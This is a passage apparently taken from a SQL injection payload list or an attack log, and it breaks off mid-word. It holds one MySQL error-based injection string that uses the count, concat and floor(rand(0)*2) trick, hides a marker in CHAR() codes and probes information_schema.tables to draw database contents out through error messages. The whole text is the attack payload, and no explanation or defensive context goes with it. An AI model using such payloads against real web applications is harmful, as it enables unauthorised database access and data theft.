"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(102),CHAR(113),CHAR(113),CHAR(108),CHAR(112),CHAR(108),CHAR(121),CHAR(120)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tabl